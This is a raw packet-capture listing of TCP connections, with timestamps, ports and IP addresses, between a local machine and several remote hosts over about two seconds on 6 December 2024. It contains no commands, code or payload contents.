Dec 6, 2024 18:45:49.859225035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.859239101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.859277010 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.859306097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.860254049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.860311031 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.860518932 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.860637903 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.861327887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.861370087 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.861407995 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.861448050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.861488104 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.861512899 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.861550093 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.861557007 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.861586094 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.861601114 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.862412930 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.862443924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.862484932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.863528013 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.863539934 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.863579035 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.863946915 CET	443	49821	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.864578009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.864597082 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.864626884 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.864658117 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.865621090 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.865669012 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.865740061 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.865789890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.866641045 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.866689920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.866723061 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.866811037 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.866900921 CET	49821	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.866923094 CET	443	49821	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.867127895 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.867146015 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.867196083 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.867206097 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.867417097 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.867779970 CET	49821	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.867785931 CET	443	49821	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.867861032 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.867872953 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.867897034 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.867917061 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.868788958 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.868844986 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.869050026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.869183064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.869903088 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.869960070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.870091915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.870238066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.870940924 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.871047974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.871108055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.871704102 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.871722937 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.871778011 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.871784925 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.871817112 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.871828079 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.872047901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.872061968 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.872092962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.872107029 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.873142004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.873155117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.873207092 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.874217033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.874232054 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.874268055 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.874634027 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.874653101 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.874687910 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.874696016 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.874716043 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.874741077 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.874789953 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.874808073 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.874840975 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.874851942 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.874871969 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.874881029 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.875243902 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.875292063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.875535011 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.875605106 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.876377106 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.876389980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.876434088 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.877419949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.877479076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.877506018 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.877528906 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.877727985 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.877749920 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.877813101 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.877825975 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.878313065 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.878462076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.878814936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.879069090 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.879566908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.879580021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.879610062 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.879638910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.880633116 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.880683899 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.880750895 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.880798101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.881757021 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.881768942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.881823063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.883101940 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.883114100 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.883157969 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.883177996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.883958101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.883970022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.884010077 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.885423899 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.885437012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.886138916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.886152029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.886198997 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.886214018 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.886429071 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.886456966 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.886493921 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.886507988 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.886549950 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.886562109 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.887131929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.887165070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.887207985 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.888128996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.888705015 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.888875961 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.888895988 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.888967037 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.888978004 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.889002085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.889022112 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.889188051 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.889601946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.889925003 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.889983892 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.890048981 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.890069008 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.890111923 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.890119076 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.890156031 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.890177011 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.890290022 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.890558958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.891043901 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.891105890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.891396999 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.891448021 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.891453028 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.891614914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.892477989 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.892723083 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.892781973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.893591881 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.893641949 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.893645048 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.893757105 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.894618988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.894632101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.894710064 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.895693064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.895752907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.896203041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.896250963 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.896755934 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.896809101 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.896878004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.897105932 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.897778034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.897826910 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.898071051 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.898118973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.898858070 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.898905993 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.899081945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.899255037 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.899956942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.900002003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.900290012 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.900330067 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.901020050 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.901071072 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.901149035 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.901190996 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.902064085 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.902139902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.902240992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.902277946 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.903213024 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.903259993 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.903307915 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.903387070 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.903609991 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.903619051 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.903625011 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.903640032 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.903688908 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.903690100 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.903697968 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.903706074 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.903726101 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.903748035 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.903800011 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.904268980 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.904289007 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.904294014 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.904304981 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.904335022 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.904345989 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.904373884 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.904393911 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.905292034 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.905359983 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.905599117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.905649900 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.906371117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.906415939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.906462908 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.906511068 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.907428980 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.907474041 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.907496929 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.907525063 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.908535004 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:49.909794092 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.909874916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:49.909885883 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.910129070 CET	49819	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.910336971 CET	49819	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.910356045 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.910377026 CET	49819	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.910382986 CET	443	49819	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.910463095 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.910531044 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.910610914 CET	49820	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.910830021 CET	49820	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.910840034 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.910857916 CET	49820	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.910866022 CET	443	49820	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.914169073 CET	49825	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.914201975 CET	443	49825	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.914267063 CET	49825	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.914407015 CET	49826	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.914429903 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.914475918 CET	49826	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.914609909 CET	49825	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.914623022 CET	443	49825	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.914701939 CET	49826	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.914716005 CET	443	49826	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.918543100 CET	443	49822	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.918888092 CET	49822	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.918899059 CET	443	49822	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.919017076 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.919518948 CET	49822	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.919524908 CET	443	49822	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.919761896 CET	49823	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.919783115 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.919821024 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.919842005 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.919898033 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.919904947 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.919928074 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.920012951 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.920151949 CET	49823	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:49.920156956 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:49.920355082 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.920419931 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.920418978 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.920434952 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.920463085 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.920484066 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.936616898 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.936641932 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.936677933 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.936685085 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.936717033 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.936748028 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.978218079 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.978243113 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.978310108 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.978324890 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:49.978351116 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:49.978372097 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.002793074 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.002819061 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.002902031 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.002942085 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.003217936 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.010787010 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.010809898 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.010880947 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.010898113 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.011073112 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.014645100 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.014676094 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.014750004 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.014769077 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.014786959 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.014801979 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.017498016 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.017529011 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.017580032 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.017580986 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.017626047 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.018569946 CET	49817	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.018585920 CET	443	49817	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.022914886 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.022934914 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.022998095 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.023006916 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.023200035 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.023513079 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.023535967 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.023590088 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.023601055 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.023622990 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.023647070 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.029206038 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.029228926 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.029285908 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.029292107 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.029328108 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.029345036 CET	49818	443	192.168.2.6	150.171.27.10
